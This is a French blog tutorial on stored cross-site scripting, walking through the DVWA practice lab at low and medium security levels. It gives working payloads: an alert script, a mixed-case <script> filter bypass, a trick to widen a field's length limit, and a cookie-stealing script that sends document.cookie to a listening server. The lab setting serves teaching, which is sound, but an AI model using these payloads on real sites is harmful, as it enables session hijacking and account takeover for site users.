L’art subtil d’exploiter la vulnérabilité XSS

Bonjour à tous, c’est Anass 😎.

Ça fait quelques jours, j’ai vu un documentaire sur les cyber-attaques et dans lequel un célèbre hacker racontait ses débuts avec le hacking. Il disait que sa première « bêtise » était d’attaquer le fameux Myspace (c’était le Facebook de l’époque.), l’attaque consistait à afficher une alerte « Samy is my hero » pour tout visiteur qui se connectait ! il a exploité la faille XSS !

En conséquence, les administrateurs ont été obligés de déconnecter le site durant 48 heures pour fixer le problème, et bien sûr Samy a subi une punition de 2 ans sans toucher à un clavier 😑.

C’étais en 2005, un peu vieux non ? Certes, mais la faille que Samy a exploité existe jusqu’à nos jours et est considéré comme une mine d’or pour les hackers, d’ailleurs même Facebook et Microsoft ont souffert de cette faille il n’y a pas si longtemps donc restez concentrés.

1 – Comprendre la faille XSS :

Tout d’abord l’abréviation XSS vient du mot Cross-Site Scripting et on a remplacé le C par un X pour qu’il ne se confonde pas avec le CSS (Cascading Style Sheet).

La faille XSS est très dangereuse et aussi très répandue, d’ailleurs, elle prend toujours place dans les tops 10 des vulnérabilités selon OWASP (la 7e en 2017) .

En fait, le concept de cette faille est simple à comprendre, mais avant cela, il faut que je vous parme du fonctionnement des navigateurs web :

Sachez qu’un navigateur est un interpréteur de code qui prend le HTML et les scripts envoyés par le serveur et les interprète, afin de nous les présenter dans une forme plus attractive et plus utile, que ce soient des images, vidéos ou textes.

Par contre, cela nous permet d’interagir avec les éléments dynamiques du site tels que les barres de recherche et les formulaires…

Le problème se pose quand les entrées de l’utilisateur déterminent le comportement du site, et que ses derniers ne sont pas validés et assainis pour qu’elles (Les entrées) ne soit pas du code. Sinon le code injecté va être exécuté par le navigateur et vous aurez votre XSS vulnérabilité.

Autrement dit, l’attaque XSS permet pour un hacker d’exécuter un code dans un autre navigateur, le code peut être un JavaScript, VBScript ou autre, mais JavaScript est le plus répandu dans ce type d’attaque.

Il faut souligner que le code injecté peut performer plusieurs tâches similaires à celles que la victime lui-même peut faire (la transaction frauduleuse, vol de cookies, redirection….).

Maintenant que vous avez compris le fonctionnement de l’attaque, sachez qu’il y a différentes manières de la réaliser en fonction de la conception et du but du site, mais voici les méthodes majeures :

• persistent XSS

• reflected XSS

• DOM-based XSS

Dans ce tutoriel, nous allons nous concentrer sur la première méthode, la méthode que Samy notre héros a utilisé. 😛.

2- Persistent XSS :

La faille XSS est appelée persistante ou « stockée » quand le code injecté est stocké (ou enregistré) dans la base de données sur le serveur, puis l’application va restituer ce code à tous les utilisateurs sans validation.

En outre, si l’objectif de l’attaquant est d’infecter tous les utilisateurs du site, il va recourir à cette attaque qui va lui permettre une exploitation à un spectre plus large.

Alors pour les cibles typiques de cette attaque :

• Les forums

• Les réseaux sociaux

• Les sites d’actualités.

N.B : je répète le mot hacker consciemment parce qu’il y a un type de hacker qu’on appelle bug-hunter, c’est un chasseur de failles white hat, dès qu’il trouve une brèche de sécurité dans un système, il contacte le propriétaire et le met au courant de la vulnérabilité afin qu’il la fixe, et ce genre de hacker est bien rémunéré.

On considère la faille XSS persistent comme étant la plus sérieuse, car le code malicieux est injecté et exécuté automatiquement dans le navigateur de l’utilisateur. Vous voyez que ça ne demande pas d’ingénierie sociale (envoyer un lien, phishing…)

Voici un schéma simplifié qui résume le scénario de l’attaque XSS persistante :

1: tout d’abord, le hacker consulte le site vulnérable, mais qui n’est pas encore exploité, et il fait quelque manipulation pour confirmer qu’il est vraiment vulnérable à cette attaque.

2: puis il injecte son code malicieux dans un champ de commentaire, ce code va être stocké dans la base de données pour qu’il soit affiché pour tous les utilisateurs du site.

3: quand un innocent utilisateur vient rendre visite à ce site 👶, il invoque le code HTML du site en plus du code malicieux qui sera exécuté dès qu’il atterrit sur son navigateur.

3- Un peu de fantaisie :

Maintenant que nous avons un background sur l’attaque XSS, on va voir comment ça s’applique dans les formes basiques sachant que les scénarios comme ceux que nous allons aborder n’existent plus sur le web. C’est juste pour démontrer la technique utilisée par Samy, puis on va voir des scénarios plus réalistes 🤪.

<1> DVWA (Damn Vulnerable Web Appliacation) </1>

Je peux bien utiliser des dorks pour trouver de vrais sites vulnérables, mais ce n’est pas nécessaire à notre niveau, car nous manquons encore de techniques sophistiquées pour mener une attaque efficace qui a un impact sur la sécurité des sites.

Donc tout ce que je vais faire, c’est d’utiliser un environnement privé pour le faire, ça sera le fameux DVWA. Il est implanté sur Metasploitable et tout ce que vous devez faire, c’est de le télécharger et l’installer en tant qu’une machine virtuelle, puis trouver son adresse IP sur le réseau local comme suit :

N.B : Assurez-vous que la configuration réseau de la machine virtuelle soit « bridged adapter » pour qu’elle prenne une adresse IP qui appartient à notre réseau local afin qu’on puisse se connecter à son interface web :

 

Ouvrez votre navigateur, je vous conseille Chrome ou Firefox parce qu’ils contiennent des outils pour développeurs qui nous sont utiles dans notre bidouillage.

Une fois fait, entrez l’adresse IP de la machine Metasploitable dans la barre de recherche, cela nous donne accès à plusieurs plateformes dédiées au hacking et qui sont préinstallées sur Metasploitable :

En troisième position on a notre DVWA, on clique dessus et on se connecte à l’application en utilisant ces identifiants (username :admin ; password: password), puis vous aurez l’interface principale de DVWA :

Mais prêtez attention à la flèche qui est au-dessus, elle indique que le niveau de sécurité des challenges est au top, autrement dit très difficile, d’ailleurs, c’est pas logique 🤣 Parce qu’on doit commencer par le commencement pas l’inverse, donc allez sur DVWA Security et choisissez le niveau low.

Bien, on est prêt, rendez-vous sur XSS stored :

Vous voyez que l’interface est une simulation d’un forum, on a dit que les forums sont des cibles majeurs des attaques XSS.

<2> stratégie du hack</2> :

Devant un formulaire comme celui-ci, il faut tout d’abord examiner comment le site traite et affiche l’information entrée, pour cela entrez un bout de code HTML et envoyez le, voici un exemple :

Ooops vous voyez bien que le code HTML que j’ai injecté a été bien exécuté par le navigateur, ça veut dire qu’il n’y a pas de validation des messages des utilisateurs. Ce qui veut dire que l’application est vulnérable a l’attaque XXS 😈.

En bas de DVWA, vous trouvez une option View source, cliquez dessus et vous verrez le code PHP qu’on va analyser afin de trouver une brèche exploitable.

N.B : Après notre premier essaie nous sommes sûrs de la présence de la faille, mais je vais vous montrer comment savoir exploiter un faible PHP script.

Analysons le code :

1 : tout d’abord, on a créé deux variables, une pour le nom d’utilisateur et l’autre pour le message. On a utilisé la méthode POST pour recueillir nos variables… nothing interessting 😑.

2 : c’est là que les choses deviennent intéressantes, car on a utilisé quelques techniques pour valider le message reçu et pour cela on a implanté deux fonctions :

• stripslashes  : son rôle est d’enlever le backslash \ , donc si vous entrez des données incluant le \ cette fonction l’enlèvera.

• mysql_real_escape_string : à contrario cette fonction ajoute un \ avant certains caractères potentiellement dangereux dans une chaine transmise pour prévenir l’injection sql. Ces caractères sont les suivants : ( \x00, \n, \r, \, ‘,  » and \x1a ).

3 : pour valider le nom d’utilisateur, on a utilisé la fonction mysql_real_escape_string la même qu’on a utilisé pour le message.

4 : et dernièrement on insert le message et le nom d’utilisateur dans la table qui se trouve au sein de la base de données.

Conclusion de l’analyse : tous les caractères sont permis sauf : ( \x00, \n, \r, \, ‘,  » ,\x1a ), donc on doit utiliser des scripts qui ne les contiennent pas et ça devrait marcher.

Je vous passe ce bout de code JavaScript qui démontre et simule l’attaque de Samy :

<script>alert(‘Samy is my hero’)</script>

Ce script qui en présence de la faille XSS fait apparaître un pop-up d’alerte, donc si je l’envoie en tant que commentaire, j’aurais ce résultat :

Vous remarquerez que le message d’alerte s’affichera à chaque consultation de la page, et sera afficher à d’autres utilisateurs qui visiteront le site. Essayez de lancer une machine virtuelle et consultez la page, vous aurez certainement le même résultat.

Ce qui s’est passé, c’est tout simplement que le bout de code est stocké dans la BD et à chaque fois que la page doit s’afficher, le code s’exécutera par le navigateur.

Il est évident que cet exemple est très facile, vu que le code PHP est inefficace, mais ce n’est pas grave. On va devoir augmenter un peu le niveau de difficulté au Medium…let’s do it 🤩.

4- Un peu plus de fantaisie :

Comme on pouvait s’y attendre, le code PHP est un peu plus sophistiqué, le voici :

Analysons le code ensemble :

1 : vous remarquez qu’on nous a ajouté 2 fonctions pour la première ligne, et la 3ème ligne est nouvelle. Voyons le rôle de chaque fonction ajoutée :

      • strip_tags : c’est une fonction qui sert à supprimer les balises HTML et PHP d’une chaîne, autrement dit, si vous entrez une chaîne qui contient un code HTML ou PHP cette fonction va la dénuder de toutes balises (<strong>,<b>…..).

     • addslashes : son rôle ressemble à celui de “mysql_real_escape_string”, donc elle ajoute un antislash pour échapper les caractères suivants : (‘,”,\,NULL).

     • htmlspecialshars : cette fonction est d’une importance extrême et je vais vous expliquer pourquoi : quand on injecte un code que ce soit du JavaScript ou HTML ou autre, on doit utiliser des balises qui contiennent des caractères spéciaux (<,>, »”,&….), ce qui va faire htmlspecialchars, remplacer chaque caractère par son équivalent :

♦ ‘&’  ⇒ ‘&amp;’

♦ »” ⇒’&quot;’

♦ » ⇒ ‘&#039;‘

♦'<‘ ⇒ ‘&lt;’

♦’>’ ⇒ ’&gt;’

2 : Eh bien on a ajouté une fonction assez marrante, str_replace est une fonction qui remplace un string par un autre dans une chaîne donnée. Ici elle doit remplacer toutes les balises <script> et <SCRIPT> par ‘ ’ (vide).

Conclusion de l’analyse : étant donné qu’on est un peu mal à l’aise dans le champ des messages, on va exploiter le champ du nom d’utilisateur qui s’avère moins sécurisé !!, car il se défend contre la balise <script> et <SCRIPT> seulement, donc tout ce qu’on doit faire, c’est d’utiliser la balise <scRiPt> au lieu de la balise classique…Funny isn’t it 😂.

Mais il reste un petit problème, quand vous allez écrire le script dans le champ du nom, le champ ne permet pas plus que 10 caractères !!.

Facile….On doit élargir un peu le champ pour qu’il contienne plus de caractères, une petite astuce réglera le problème :

1- Clique droit sur le champ du nom, choisissez inspect.

2- Une barre s’affiche, indiquant le code responsable du nom d’utilisateur, vous verrez que le maxlentgh est à 10, double-cliquez dessus et vous pouvez le modifier à n’importe quel autre nombre…. Disons 50.

3- tapez sur Entrée et c’est fait.

Maintenant que notre champ est prêt à recevoir notre code on va lui passer celui là :

<scRiPt>alert(‘Samy is my hero’)</scRiPt>

Et voilà le résultat :

5- Un peu de réalité :

Le fait que nous avons une base sur le fonctionnement de l’attaque, cela nous permet d’exploiter la faille XSS sur le terrain. Comme je l’ai dit au début du tutoriel, les possibilités sont infinies et qui sont le résultat de la créativité du hacker et le potentiel de JavaScript.

<1> Vol de cookies </1> :

N.B : pour ceux qui ne savent pas ce qu’est un cookie. C’est un petit fichier texte inoffensif qui est enregistré par le navigateur sur le disque dur et s’en sert pour faciliter aux utilisateurs leur navigation sur internet.

Une des implications immédiates d’une vulnérabilité XSS est la capacité du hacker de voler une session cookies valide afin de hijacker la session d’un utilisateur si les paramètres des cookies sont mal configurés.

Pour cela, l’attaquant a besoin d’un serveur-web qui écoute les requêtes envoyées par l’application injectée. Python peut faire le travail😁.

Ouvrez un terminal et tapez la commande suivante :

python -m SimpleHTTPServer 4444

Une fois le serveur en marche, on va exploiter la faille (toujours le niveau medium) :

1- Élargissez le nombre d’inputs du champ comme on a fait la dernière fois.

2- Entrez ce code : <scRiPt>document.write('<img src="https://127.0.0.1:4444/'+document.cookie+' ">');</scRiPt>

3- À chaque chargement de la page, le code est exécuté et tentera d’obtenir une image d’un serveur externe. Donc il envoie une requête qui contient une session cookie dans l’URL, et sera enregistré une fois arrivé sur le serveur de réception, comme le montre l’image :

Voilà, pour la faille XSS, je pense que sa compréhension est fondamentale pour tout hackingeek, je vous ai donné les bases et je vous laisse approfondir vos connaissances sur ce sujet, car il y a beaucoup à découvrir.

N.B : Je vous laisse le niveau high comme un challenge, ça demande un peu plus de puissance 💪 , so let’s the hack begin…

J’espère que ça était clair pour vous et je vous laisse pour le prochain tuto… PEACE 😍.